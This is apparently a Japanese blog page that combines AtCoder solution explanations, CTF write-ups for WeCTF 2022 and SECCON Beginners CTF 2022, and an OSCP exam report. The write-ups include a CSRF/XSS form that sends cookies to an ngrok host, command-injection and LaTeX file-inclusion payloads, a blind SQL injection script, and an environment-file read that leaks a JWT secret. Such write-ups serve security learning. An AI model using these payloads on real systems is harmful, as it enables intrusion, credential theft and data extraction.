はまやんはまやんはまやん

hamayanhamayan's blog

Robot Takahashi [日鉄ソリューションズプログラミングコンテスト2022(AtCoder Beginner Contest 257) C]

https://atcoder.jp/contests/abc257/tasks/abc257_c

前提知識

  • SegTree (だが、使わない解法もあると思う)

解説

https://atcoder.jp/contests/abc257/submissions/32751195

全探索解法に向けて

まずは全探索解法がないかを模索してみる。
Xが実数全体を動くとされているが、実数空間を全探索することはむずかしい。
よりXの値を分かりやすく設定でき、かつ、意味のあるものにできないか?

体重が{2,5,9}をサンプルとして考えてみる。
まず、X=1とすると、全ての人は大人であると期待されることになる。
境界線を|と書くことにすると|259のような状況を考えていることになる。
X=1の次にX=1.5を考えてもよさそうだが、これは状況的には|259と全く変わりがない。
次に状況が変わるのは、Xが2を上回ったときである。
例えばX=3の時は2|59となるので、これは違う状態としてチェックが必要である。
次はX=4もよさそうだが、これも状況が変わらないので次はX=6あたりで25|9をチェックすることにする。
つまり、全探索するべきものはXというより「境界線」であり、
境界線は数の間と前後に置くことができるのでN+1通りとなる。
具体的に{2,5,9}のサンプルでいうと|259 2|59 25|9 259|の4通り。

まとめると、実数全体では全探索のイメージがつかめないので、境界線を全探索する。

全探索解法でやること

順番が答えに影響することはないので、体重についてはソートしておこう。
一旦、体重が同じ人がいないものと考えていこう。
全探索で境界線をおくと、正直具体的な体重については特に興味がなくなるので、
|010 0|10 01|0 010|
みたいな状態に対して境界線より前に0が何個あるか、後ろに1が何個あるかを求めて和を取ればf(X)になる。

このように「とある境界より前にある0の個数」「とある境界より後ろにある1の個数」が高速に求められれば、
境界線を全探索しても解けそうだ。

個数を数えるには

この部分は色々やり方が存在する。
一番計算量がよさそうなのは累積和を使用する方法だし、
境界線を全探索しながら差分だけ計算していくやり方もあるだろう。

一旦計算量は悪いが、データ構造を素直に適用するSegTree解法を紹介しておく。
Segtreeはとある配列に対して区間の総和などが取れるデータ構造である。
AtCoder Libraryにもある。
(説明は結構大変なので、SegTreeを知らない場合は一旦問題を止めてググってみてください…)
0用と1用の2つのSegTreeを用意しよう。

zero[L,R] = 区間[L,R)にある0の個数を返す
one[L,R] = 区間[L,R)にある1の個数を返す

詳しい実装はソースコードを見てもらう方が分かりやすいと思う。
zeroについては0がある場所に1を置いておけば区間総和すれば、区間にある0の個数が返ってくる。
これを使えば、zero[0,x) + one[x,N)みたいな感じでf(X)を求めることができる。
あとは、それの最大値を答えればAC。

体重が同じものはどうするか?

極端な例として、体重が同じ3名がいて、001みたいな大人子供設定だったとする。
体重で単純にソートして、大人子供の01でもソートすると001みたいな感じになる。
この状態で全探索をすると以下のようになる。
|001 0|01 00|1 001|
こうすると3番目で一番良い結果が出て3が答えになるように見えるが、
実際は全員同じ体重なので境界線が中途半端な所に来ることはなく、
|001 001|
の2択しかありえない。
よって単純にソートしてしまうと問題が発生する。

ちゃんとやるなら、体重が同じ人をまとめてしまって、
上のsegtreeでは1ではなくて人数を入れるのがいいと思うが、自分はソートを工夫することで切り抜けた。

体重で昇順ソートをして、大人子供設定は降順ソートすることにする。
この場合でも状態として
|100 1|00 10|0 100|
が発生してしまうが1と0が反転しているおかげで、中途半端に境界線が入っている状態がそうでないものよりも
よいf(X)になってしまうことを防いでいる。
この状態ではより良い結果を出すためには境界線を先頭か末尾に入れるしかなくなるので、
最大値を最終的に取ったときに中途半端な状態は無視される。
このような工夫で体重の重複を乗り切った。

int N;
string S;
int W[201010];
vector<pair<int, char>> WS;

int op(int a, int b) { return a + b; }
int e() { return 0; }

void _main() {
    cin >> N >> S;
    rep(i, 0, N) cin >> W[i];
    rep(i, 0, N) WS.push_back({ W[i], -S[i] });
    sort(all(WS));

    segtree<int, op, e> zero(vector<int>(N, 0));
    segtree<int, op, e> one(vector<int>(N, 0));
    rep(i, 0, N) {
        if (-WS[i].second == '0') zero.set(i, 1);
        else one.set(i, 1);
    }

    int ans = -1;
    rep(i, 0, N + 1) chmax(ans, zero.prod(0, i) + one.prod(i, N));
    cout << ans << endl;
}

WeCTF 2022 Writeups

Dino Run

恐竜で遊ぶゲームが起動する。
フラグが右下にあるようなので移動しよう。
盤面がそれほど大きくないこともあり、フラグマスに到達でき、表示されたフラグが答え

Grafana

  • Grafana v8.3.0 (914fcedb72)が使用されている
  • PoCはそのまま動かさず、PoCを見ながら手動でポチポチしていたら以下でフラグが手に入った。 GET /public/plugins/state-timeline/../../../../../../../../tmp/flag

Google Wayback

  • 脆弱性をざっくりがしてみる
    • search.phpの29行目に単純なXSSがある<?php echo $_GET["q"]; ?>。だが、search.phpにはRecaptchaがついているので、踏ませるためにはこれをbypassさせる必要がある。
  • Recaptchaのbypass
    • これは、自分でチャレンジレスポンス(用語あってるかな?)を用意して、与えることでbypassする CAPTCHA does not prevent cross-site request forgery (CSRF) - Detectify Blog
    • RecaptchaのPOST /recaptcha/api2/userverifyの戻り値の2番目あたりにチャレンジレスポンスがあるので、これを相手に踏ませることにする
  • POST経由でのXSSとなる
  • 単純なXSS部分
    • GETパラメタのqに</title><script>[js codes]</script><title>をやってやればいい
  • この辺を前提にして、以下のようなhtmlのサイトを踏ませれば良い。
<form name=TheForm action="http://google.jp.ctf.so/search.php?q=/search.php?q=%3C/title%3E%3Cscript%3Efetch(%27https://.ngrok.io/test%27%2bencodeURI(document.cookie));%3C/script%3E%3Ctitle%3E" method=post>
    <input type=hidden name="q" value="x">
    <input type=hidden name="g-recaptcha-response" value="03AGdBq26UOKfM7KKXOADsY_CuVWK3rr3D6tvmIC6oIa5WF7H-F4HbAkrgD3vsatd4bTsZc3YMGx1kbVvmQs7VuzioLykj5qNF6hkroqUx96Xx_6uHtQo6cGrz6v_v7xjNw5flElRDkLhxXz2HGkjnniRqO-G3usNjW65Rk1ONs11YZb3bzljflKuyGiZkr17hcV8SV45OM9KZsBFsEU3XrNalCUE9KjJnsQbiyuH1kzpTE4LfczOykGRfpDBwhDtd7dxdL78-ORNXvyT4dhU3vPpUwfC6M6Y8ElaopQ56F1ta8CzegwjT5w5B01tkhrgiShBMX3oOyIK2yUFk4ywQ_g4D5Et93QFFl8KOzoHtXzWGq8UE8EabVbFaSV-ucpnkmwpvp97gNWtek03aWzCsjohbyci1vKfWApro1-ME4Vz6mNuteueCwEwwNHHcsTZCd_p3P4fGidT9rs2ALFwDzpKlEem1UTLfQA">
    <input type=hidden name="btnG" value="Google+Search">
</form>
<script>
document.TheForm.submit();
</script>

Dino Run (Extra Hard)

  • コードリーディング
    • main.jsを読んでいるとwebsocketのconnectionのmessageくらいしか攻撃点がなさそう
    • JWTトークンも攻撃は難しそうだしな…と思って読み進める
    • up/down/left/rightの中のlet item = locationMap.get(decoded.key) || {};がひっかかる。null(undefined?)で落としてもよさそうだが、なぜか何とか動くようにしてある。これは使えそう
  • up/down/left/rightでdeadで失敗する場合があるが、その場合はJWTトークンを再送すれば再チャレンジができる。成功できるまでトークンを使いまわすことで駒を進めていくことができそう。右下に到達すればフラグが得られると思う
  • ほぼほぼ間違いないが適当にjsコードを書き換えて手元でやると確率が結構キツイ…以下のようにpythonコードを書いてひたすら待ってました
    • 初期トークンを入手したらそれと初期状態としてコマンド実行していく
    • 以下そのままでは動かないけれど、適当に出力見ながらやっていけばフラグが得られます
  • (かなりサーバに負担がかかる回答で、非想定だったら本当にごめんなさい)
import asyncio
import websockets
import json

#ix = 0
#iy = 0
#start_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJwb3NpdGlvbiI6eyJ4IjowLCJ5IjowfSwiZGVhZCI6ZmFsc2UsImtleSI6Im9ka0lIYW5WNFA3a0xBU0RiamRESWNYdVhEK043WFNkL3YrZ09IbkMwRU09IiwibmFtZSI6ImV2aWxtYW4iLCJpYXQiOjE2NTQ5OTY3MTF9.iAkA67Txfy7XqNupZKZ2dYocUAvD1xv8v9-giyRdo_GePjIUDD6Lt3eGPsma32zsTdabKLydHt7Z2XH8bxUvmV89Yy2eAhJwux84PXBiSgWlGe7sm_1n4-4-16XANy7C3rDStgy2-QcyynrmI9gho_3nOwOJZ2T_sxF68NQr_AODtfDAfp9m4WsR4E9Y2JNqDTw0VNZjt_Uxq_SO_3dUXvmiVUmpw-xpG7oG5iK28meQSKg6pboYWQQUm9_-d32ZBVNdquFq-8bzfeHVnGVM-l73KnkEiV2hQZXIbjDxJ9u2pKWwZgmf7qaBE8QwBi1GIvD0ZCuc5VbyfgI_Ih-VHQ"

ix = 31
iy = 30
start_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJwb3NpdGlvbiI6eyJ4IjozMSwieSI6MzB9LCJkZWFkIjpmYWxzZSwia2V5Ijoib2RrSUhhblY0UDdrTEFTRGJqZERJY1h1WEQrTjdYU2QvditnT0huQzBFTT0iLCJpYXQiOjE2NTUwMTI1Njh9.hfN5sF5C68FCpUPnxFcDAGMM4NYS52ws7uYjFl9de34FFJIkyxQkdTprB4IMy0kk9qqAe3XPOW-mA30VdcRfpYcgoxdoy42Kl8XZOhWQS2osNMeNuemeeMQpWldI7k3681p-2ObKdgBVqYigjo2p7x6Lk3IWIlcwnaelKjYnwoGKRWnFet2lN888bHxTcgLA6fzW4ywsBFN_Q4KR6e1b3DTmoopftbKGJSUTIPMyU0o-XbP7nmTP4MXsK6qWcWRO33hHHm3Sb-0HC_vaDMRD006iXYxbf8zJKnDaZTq0CKzrYeO6QZIQPzHJ7HK8fLZntSbmdj4HfDwc_2x2-rKsvg"

async def solve():
    uri = "ws://backend-dino-run-hard.jp.ctf.so"
    async with websockets.connect(uri) as websocket:
        token = start_token
        i = ix + iy
        failed = 0

        while i < 31 * 2:
            com = "right" if i % 2 == 0 else "down"
            data = {"command": com, "token": token}
            await websocket.send(json.dumps(data))
            for _ in range(10):
                resp = json.loads(await websocket.recv())
                print(resp)
                if resp['command'] != "state":
                    break
            if resp['dead']:
                failed += 1
                #print(f"NG!{failed}", end="")
                #sys.stdout.flush()
            else:
                token = resp['token']

                i += 1
                x = i // 2 + i % 2
                y = i // 2
                failed = 0

                print(f"\nOK! You can move! x:{x} y:{y} token:{token}")
            await asyncio.sleep(0.1)

asyncio.get_event_loop().run_until_complete(solve())

SECCON Beginners CTF 2022 Pwn 解説まとめ Writeups

復習しましたー、環境生かして頂いてて、ありがとうございます。
解説元のみなさんもかなり勉強になりました…ありがとうございます。

https://score.beginners.azure.noc.seccon.jp/

SECCON Beginners CTF 2022 Web+α 解説

Web問全部と他解けた問題を解説。

Util [web]

main.goの29行目でcommnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"のように呼び出すコマンド文字列を作成している。
入力値は自由に入れられるので、コマンドインジェクション脆弱性がある。
セミコロンで複文にして、任意のコードを実行しよう。

127.0.0.1; ls /とするとping -c 1 -W 1 127.0.0.1; ls / 1>&2となる。
これで、前半のpingと後半のls / 1>&2となり、後半部分によってディレクトリを表示させることができる。
これでフラグのファイル名が漏洩するので、127.0.0.1; cat /flag_A74FIBkN9sELAjOc.txtでフラグが抜き取れる。

textex [web]

flagファイルが読めればよさそうだが、ランダム文字列がついていないのでRCEまでは要らなくて、LFIができればよさそう。
LFI観点で脆弱性を探しても特に気になる部分は見当たらなかったので、texの処理の過程でLFIできると想像して色々調べてみる。

まずはLFIできることを確認

調べると、LFIや場合によってはRCEができるようだ。
Latex Injection

色々試すと、特定ファイルはLFIできた。

\documentclass{article}
\begin{document}

\input{uwsgi.ini}

\end{document}

とりあえず、方向性はあっていそう。色々試すととれるファイルと取れないファイルがありそう。

flagという文字列チェックの回避

flagという文字列があると無害化されてしまうので、newcommandというのを使って文字列を分割することでチェックを回避する。

\documentclass{article}
\begin{document}

\newcommand{\variable}[1]{uwsgi.in#1}
\input{\variable{i}}

\end{document}

よし。これで後はflagを指定するだけ…と思っていたが、エラーになってしまう。

なぜか取り出せない問題の解決

環境構築をして、フラグとctf4b{x_y}と書き直すとエラーになる。内容にアンダースコアがあるとエラーになるようだ。
texの構造にかかわる文字列が含まれるとエラーになるのだろう。
そのまま読み込む方法がある(上記チートシートでも紹介されている)ので、これを使えばフラグが得られる。

\documentclass{article}
\usepackage{verbatim}
\begin{document}
\newcommand{\variable}[1]{fl#1}
\verbatiminput{\variable{ag}}
\end{document}

gallery [web]

フラグの場所が分からなかったが、handlers.goの25行目にfileExtension = strings.ReplaceAll(fileExtension, "flag", "")とあるのを見ると、/?file_extension=flagのように指定をして、flagを含むファイル名を抜き出してくるのだろう。

フラグが書かれているファイル名の特定

無害化しているfileExtension = strings.ReplaceAll(fileExtension, "flag", "")をよく見ると1度しか削除していないので、/?file_extension=flflagagのようにすれば、一回削除されてflagを入力値とできる。
これでファイル名が漏洩する。
/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfが取得できればいい。

ファイルサイズ制限の回避

main.goの24行目あたりのfuncでファイルサイズ制限が働いている。
main.goの42行目を見ると10240bytesが上限のよう。

ファイルサイズ制限を回避するために一度に持ってくるファイルのサイズを指定することにしよう。
HTTPのRequest時にRangeヘッダーを追加することで、リクエストしているファイルの特定バイトをリクエストできる。
Rangeヘッダーが機能するかは実装によるのだが、試しにRange: bytes=0-50としてみると、%PDF-1.4のように正しくpdfファイルが抜き取れていそな応答が返ってくる。
このヘッダーを使ってファイルを取得してきて、結合するとフラグが書かれたpdfファイルが得られる。

serial [web]

フラグの場所を見るとDBに入っているのでSQL Injectionを使ってフラグの情報を抜き出してくるようだ。
まずはソースコードを巡回して使えそうな脆弱性を見ていこう。

  • databse.phpの65行目 $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
    • 明らかなSQL Injection箇所。発生個所であるfindUserByName以外は対策されているのでここが起点
  • signup.phpの56行目 setcookie("__CRED", base64_encode(serialize($user)));
    • cookieにユーザー情報がシリアライズされて格納されている。取り出し時にも検証は無いようだ
    • 脆弱性というよりバッドプラクティスであるが、今回はこれが使える

SQL Injectionを発現する

findUserByNameが呼ばれている部分でユーザー入力がそのまま入りそうな所を見てみると、user.phpのlogin関数である。

function login()
{
    if (empty($_COOKIE["__CRED"])) {
        return false;
    }

    $user = unserialize(base64_decode($_COOKIE['__CRED']));

    // check if the given user exists
    try {
        $db = new Database();
        $storedUser = $db->findUserByName($user);
    } catch (Exception $e) {
        die($e->getMessage());
    }
    // var_dump($user);
    // var_dump($storedUser);
    if ($user->password_hash === $storedUser->password_hash) {
        // update stored user with latest information
        // die($storedUser);
        setcookie("__CRED", base64_encode(serialize($storedUser)));
        return true;
    }
    return false;
}

見てみると、cookieに入っているユーザー名がSQL Injectionに使われている。
試しに以下のようなPHPコードを作ってcookieの中身を見てみると、エラーメッセージからSQL Injectionが発生していることが分かる。

<?php
class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }

    public function __toString()
    {
        return "id: " . $this->id . ", name: " . $this->name . ", pass: " . $this->password_hash;
    }

    public function isValid()
    {
        return isset($this->id) && isset($this->name) && isset($this->password_hash);
    }
}

$x = 'Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6IjE4MDYiO3M6NDoibmFtZSI7czo3OiJldmlsbWFuIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjYwOiIkMnkkMTAkM3E3SkN0YzVGUFZSbkpPY3NOS0ZkT0MudmZsSlF4eDkvNmxuRkJsVW9PYW05MVl5Lml6alciO30%3D';
$user = unserialize(base64_decode($x));

$user->name = "'";

echo base64_encode(serialize($user));

ただ、値取得はできなさそうなので、Blind SQL Injectionすることにする。

Error-Based Blind SQL Injection

例外発生は検知できるので、例外が発生するかどうかをオラクルとして情報を抜き出していくことにする。
いつものBlind SQLiとは違って、phpシリアライズド文字列が必要だったので、phpを呼び出してペイロードを作るシステムにして、抜き出しコードを作成していった。

以上のコードを少し改変して、引数に指定された文字列をユーザー名とするcookie用文字列を作るphpコードを用意した。

<?php
class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }

    public function __toString()
    {
        return "id: " . $this->id . ", name: " . $this->name . ", pass: " . $this->password_hash;
    }

    public function isValid()
    {
        return isset($this->id) && isset($this->name) && isset($this->password_hash);
    }
}

$x = 'Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6IjE4MDYiO3M6NDoibmFtZSI7czo3OiJldmlsbWFuIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjYwOiIkMnkkMTAkM3E3SkN0YzVGUFZSbkpPY3NOS0ZkT0MudmZsSlF4eDkvNmxuRkJsVW9PYW05MVl5Lml6alciO30%3D';
$user = unserialize(base64_decode($x));

$user->name = $argv[1];

echo base64_encode(serialize($user));

上をa.phpとして保存して、以下のようなコードでBlind SQL Injectionを行っていく。

import requests
import subprocess
import time

url = "https://serial.quals.beginners.seccon.jp/"

def send(p):
    payload = subprocess.run(["php","a.php",p], stdout=subprocess.PIPE).stdout.decode('utf-8')
    return requests.get(url, cookies={"__CRED": payload}).text

def check(p):
    res = send(p)
    return 'failed query for' in res

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"' or (select exp(1783) where {md} <= ascii(substring(({req}),{i},1))) #"
        if check(exp):
            ok = md
        else:
            ng = md

    if ok == 0:
        break

    ans += chr(ok)
    time.sleep(1)
    print(f"[*] {ans}")
print(f"[*] done! {ans}")

Ironhand [web]

フラグはsecretマシンにあるが、このマシンに到達するにはappマシンの/にadmin権限を持つユーザーでアクセスする必要がある。
パっと見てadmin=trueとする方法はなさそうなので、JWTの偽装が必要そう。
脆弱性を探していくとJWTの偽装に使えそうな脆弱性が見つかる。

LFI

main.goの121行目で定義されている/static/:fileにはLFI脆弱性が存在する。
:file部分に../を含むようなパスが指定できればうまくディレクトリトラバーサルが働いてLFIできそうである。
しかし、呼び出しの際にnginxが嚙まされているせいで、普通に../を入れこんでもエラーになってしまう。
ここで使えるのがmain.goの122行目で実施されているpath, _ := url.QueryUnescape(c.Param("file"))で更にアンエスケープ処理が入っているので、2回URLエスケープしてやれば、フレームワークで1回アンエスケープされて、122行目でさらにもう1回アンエスケープされてうまくディレクトリトラバーサルにつなげられる。

LFIからどうする?

今回はJWTの秘密鍵が分かると偽装が可能になるが、この秘密鍵環境変数に入れられている。
実は/proc/self/enrivonを参照すると環境変数を取得することができる!!
ここがなかなか知識ゲーではあるが、これを知っていれば自然な流れで考察が進む。
という訳でGET /static/%252E%252E%252F%252E%252E%252Fproc%252Fself%252FenvironするとJWTの秘密鍵U6hHFZEzYGwLEezWHMjf3QM83Vn2D13dを取得できる。

JWT

後は、Cookieに入っているJWTトークンを偽装してやればいい。
jwt.ioを使えばいい。

CoughingFox [crypto]

場所がシャッフルされているが、各暗号数値について対応するiを全探索して、暗号後数値-iが平方数であれば、そのiが正しい位置とすればiが一意に定まる。 あとは適当に復元すればフラグが得られる。

bool isSquare(ll n) {
    ll d = (ll)sqrt(n) - 1;
    while (d * d < n) ++d;
    return d * d == n;
}

void _main() {
    string ans = "ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}";

    int x;
    while (cin >> x) {
        int sz = ans.size();
        rep(i, 0, sz) if (isSquare(x - i)) {
            ans[i] = char(sqrt(x - i) - i);
        }
    }

    cout << ans << endl;
}

H2 [misc]

x-flagというヘッダーにフラグが書いてあるらしいのでwiresharkhttp2.header.name == x-flagで検索することでフラグが得られる。

OSCP 合格体験記 2022/05

ナレッジ共有です。

OSCPを受ける前に

  • HackTheBoxを少なくとも数個は完了させておくこと
    • HackTheBoxのVIPはOSCPに比べたら信じられないくらい安いのでVIPを契約して、少なくともWriteupを見ながらEasyが攻略できるか確認しておくといい。見ながらでも良く分からない場合は、早い気がする
      • 最近は日本語Writeupも沢山あるので、日本語Writeupがあるものからやっていくのもいい
    • linuxコマンドの説明とかネットワークまわりのとか必要なことは説明してくれるが、1契約期間がmax 90日であることを考えると、そんなことやってる場合じゃないし、完全じゃない
    • どんな学習過程でもそうかもしれないが、ラボ攻略はある時点から急激に勝手がわかってくる。思考法みたいなものを学べるので、あるとき急激に理解が進んだ実感があった。その時点をOSCPのラボ期間中に持ってこれると一番コスパ良い
    • OSCPに似ているボックスが紹介されている。他にもまとめがあったような https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0
  • pythonPHPが読める必要がある
    • 他にもちょっと出てきたりするが、ほぼほぼこの2つなので、最低限読めるようになっておく必要がある
  • 英語
    • 英語は全く分からないと困ります。OSCP受けるような人なら必須ラインは越えてる気がしますが、OSCP受験時はテキストベースですが英語でやり取りする必要があるので注意です
    • 試験中コーヒー飲みまくってたので「I want to go to the bathroom.」が一番使った英語です。(ICPCのアジア予選でも使った気がするな)

OSCPで学べること

  • 網羅的な攻撃手法
    • 攻撃手法もそうだが、割と実務ベースで色々なことを教えてくれる
    • 高くて資料が分厚いだけあってかなり網羅性がある
  • 攻撃者の思考法
    • これは明記されている訳ではなく、自分が読み取った感じであるが、攻撃者の思考法を模倣できる
    • 「この環境にはこれが無いんや、面倒やけど持ってくるか」とか「こういうハーデニングされてるのかー面倒やな」とか「ウイルス対策うざすぎんか?」とか人間味あふれる攻撃模様を体感できる
    • 現実の攻撃でPCにある情報を根こそぎ圧縮ファイルに固めてMegaとかで抜いていることが書いてあるホワイトペーパーがあったりするが、侵入が面倒な端末に対しては入りなおすのも面倒だから根こそぎ情報を抜き取ってきたい信条になる。Persistenceの重要性も理解できるのでMITRE ATT&CKなどがとても実感できる
  • AD環境へのハッキング
    • 学習用のAD環境というはOSCPラボに限らず色々な所でサービスとなっているが、どこも高いので、ついでと言っては何だが、OSCPで学ぼう
    • それほど難しいことは学べないので注意

実際OSCPで教わる攻撃手法はHackTheBoxのRetireマシンを全部やれば、ほぼほぼ網羅できると思う。だが、企業を模倣した80台レベルの環境というのはそうそうないので、そういった環境を楽しんで探索できるのがOSCPラボの魅力かと思う。

(実際、試験は穴が見つかるか見つからないかのチキゲームで、ちょっとセンスゲーな感じがしないでもないが…)
試験自体は、実際流れというか基本概念が分かっていれば、後は24時間頑張れば行き当たりばったりで合格できる気がする。ただ、この辺りは非常に評価が分かれそうで、強者にとっては自明すぎてやるだけなのだが、見つからない人は一生見つからないみたいな競プロみたいな事態になりそう。とは言っても、ここも競プロ同様に経験でカバー可能なので、鍛錬を積もう。

ラボ攻略について

  • かなり楽しいので時間を作ってやること
  • "Forum"
    • ラボ受講者向けの情報交換フォーラムがあり、ラボのヒントが投稿される
    • 大体ここを読み込めば難しいマシンでもなんとなく解ける
    • これを使わないと1か月で全完は無理。というか、もう終わらせることが目標になっていて、後半はかなりForum見ながらやってました…
  • ラボ攻略のペース
    • 1か月でほぼほぼ全部解きましたが、平日5時間休日空き全てを費やして1か月かかります。1台3,4時間くらいのペース?多分。
    • 深いマシンの方が難しいというかそういったことはあまりないが、面倒というか別方面で頑張ることが増える
    • 試験では離れ環境とかは無いのでPublicがとりあえず一通り解ければ受かるんじゃないかな
    • ラーニングパスがあるので従うこと。https://help.offensive-security.com/hc/en-us/articles/360050473812-PWK-Labs-Learning-Path
      • 特にRetiredマシンみたいな扱いを受けて、Forumに1から10まで攻撃方法が書いてあるマシンがあるので、それから初めてもいい
  • やっていくと分かる直接的ではないヒント
    • ForumではIPというより、ユーザー名やホスト名でヒントを出してる人が多いので、マシンに侵入が完了したらユーザー名やホスト名はメモっておくこと
    • ハーデニングがなされているマシンがあることに注意。攻撃者、もしくは、防御者の始点になって設定を想像すること
    • Publicネットワークと他の離れ環境の間のFWの設定も色々頑張ってやってる。1パターンではないので、色々な可能性を考えること
    • 解けた場合でもForumは巡回した方がいい。知見がかなりたくさんある
  • 攻略しながらOSCP本試験で使うチートシートを作ること
    • 色々な受験記で言われていることですね
  • BoFについて
  • あ、あと教科書のExerciseは一個もやってません
    • なので良し悪し分からないです

他の体験記

先達の方が出されている体験記を読み漁りました。
(ググったらヒットしすぎてビビるくらいです。多分合格者全員書いてる)
どれも生々しいものばかりでとても参考になりますし、合格してから読み返しても納得感があります。
適当に読み漁っていたので、以下がすべてではないと思いますが、手元にあるものを並べておきます。(多分これ以外の無料の体験記もすべて読んでいる気がします)

注意点として、2020年にラボ環境の改変と、2021年末に試験の改変があったので、それを頭の片隅に入れておくこと。

終わってみての印象はADがほぼ攻略必須になったくらいで、それほど変わらず、引き続き昔の体験記も非常に参考になります。

タイムライン

  • ここまでの前提としては…
    • CTFのWeb問を解いていた CTFにおけるWebセキュリティ入門とまとめ - はまやんはまやんはまやんにあるくらいの知識量。一応一通り知ってはいるレベル
      • Web Exploitの知識はOSCPにかなり役立った。多分結構教科書スキップできた
    • Forensicもちょっとやってたが、それ以外は全然やってない
    • 資格はRISS, Comptia Security+, GCFEを持ってるくらい
    • VulnMachine系はHackTheBoxは数個やったことがある。流れや雰囲気は分かる。
  • 2021年9月 OSCPの30日ラボ
    • 全部英語で書いてある859ページの教科書はだいぶキツいです
    • ちょっと時間もあんまり取れず、この時はラボマシン2つくらいしか完了しなかったように思います
  • 2021年10月 HackTheBoxのVIP契約をしてRetiredマシンを50台ほど攻略
  • 2022年1月 もう一度、HackTheBoxのVIP契約をしてRetiredマシンを50台ほど攻略
    • なんだかんだHackTheBoxは安くて学習できますね…
    • ADさえなければ、これだけでOSCP受かるな
    • ADが試験に追加されるということで、TryHackMeのWindowsマシンとかやってたような気が(10台ほど)
  • 2022年2月 OSCP 1回目試験
    • 非ADマシンでとりあえず30点を獲得して、後はADラボだと思っていたが、ADラボが…解けない…ちゃんと勉強して2回目に臨んだら解けたので、自分の理解度不足だったっぽい(っぽいけど、解けてから振り返ると、こんなしょうもないことが原因で落ちて3万近く払ったと思うとモヤる)
  • 2022年3月 AD勉強しなおし
    • ボーナスポイントはやる気があまり起きなかったし、AD問題は解けるのが必須だったので、ちょっと別途勉強しておいた。ADへの理解がかなり深まった
    • いろいろBoxをやったりもしたが、以下2つがとても参考になったのでオススメ
    • ミミミミミッミ:Allsafe は本当に聖書のような本だった。情報Iに入れてもいいくらい参考になった
    • Practical Ethical Hacking - The Complete Course | TCM Security, Inc. 安いがとても参考になった。オススメ。
  • 2022年4月 OSCPの30日ラボ延長
    • とりあえず勉強はしまくってきたので30日間は全部ラボ攻略に費やした
    • 4/4に始めて5/1に全完しました。フラグが出せるラボを全部出さなくても全完判定されるので、それで満足してしまったので、実際2,3個残ってました
    • HackTheBoxと1つ1つは一緒ではあるが、色々な要素があって、攻撃者の気持ちがちょっと分かったというか、多層防御とかハーデニングとかの大切さと、どういう対策が気休め程度かの理解ができました。落ちた分の学習はできました
  • 2022年5月 HackTheBoxのランク上げ
    • OSCP試験日までちょっと時間があったのでHackTheBoxのランク上げしてました
    • Hackerまではそれほど大変ではなくて、Pro Hackerに上げるのはちょっと大変。ここまではやってればというか時間があれば行くけどエリート以降は結構大変そう。
    • 本当はEndgameがunlockされるGuruまで上げたい所だけれど、ChallengeとかでPwnとかReverseとかCryptoとかもやっていかないといけないみたいで、かなり大変そう
  • 2022年5月 OSCP 2回目試験
    • 無事合格しました!

…ん?お金?当然全部自腹です。
円安も相まって、総額計算するのも怖いですが。

試験について

  • 試験前にレポートのひな型作成していました。試験中にレポート日本語で作りながら解こうと思っていたので日本語で観点を先に書いておいていました
  • 受験時のこと
    • ボーナスポイント無かったのでAD完全攻略が必須だったので、ADから攻略開始してかなりひりつきました。1回目はADでやられましたが、今回は何とか攻略できましたが、気がついてみれば…という感じ。まあ、どれもそうか。あきらめずに頑張ることが大事
    • 他はproof.txtが2つ取れて、1つも解けないマシンが1つでした
    • なので5/6台を攻略して80点想定でFinishです
    • 20時間連続で攻略して、そのあと4時間寝て終わりました

この辺あまり具体的に書けないのでTry Harderとだけ。ラボで要求されていることができていれば問題ありません。

Index Trio [モノグサプログラミングコンテスト2022(AtCoder Beginner Contest 249) D]

https://atcoder.jp/contests/abc249/tasks/abc249_d

前提知識

解説

https://atcoder.jp/contests/abc249/submissions/31211388

とある数xの約数列挙をO(sqrt(x))で行う方法がある。
もし分からない場合は「約数列挙」あたりで検索して、勉強してくる必要がある。
(今回は、naiveに約数列挙するより、区間で約数列挙を事前計算でしておいた方が早そうな気もするが…未検証)

何から考えるか

まずi,j,kの全列挙を考えてみる。これはO(N3)で当然間に合わない。
だが、経験則から、こういった添え字の列挙問題はどれか1つは全列挙して、他を最適化する方針が多い。
とりあえずiを全列挙して、他をうまく効率化できないか、使える性質を探してみよう。

約数

条件で、A[i] / A[j]というのがあるが、計算結果がA[k]になるかを考えるので、
この分数は計算すると整数になる必要がある。
iを全探索、つまり、A[i]を固定して他を最適に考えるとすると、A[j]というのはA[i]の約数である必要が最低限ある。
しかも、A[j]が定まればA[k]も一意に定まるので、実質A[i]が固定化されているときの選択肢はA[i]の約数個数分しかない。
これは使えそうな性質である。

約数を列挙する方法については、高速なやり方があるので、それを利用する。
約数の個数は問題にならないかという疑問があるが、「高度合成数」という概念があり、
2*105だと160くらいが上限っぽいのでこれなら問題ない。

解法へ

以下を前計算しておく。
cnt[x] := A[i]=xとなるiの個数

iを全列挙してA[i]を固定化させたら、次は条件を満たすjを列挙する。
これは約数だけでいいので、代わりに、jの全列挙はA[i]の約数の全列挙をする。

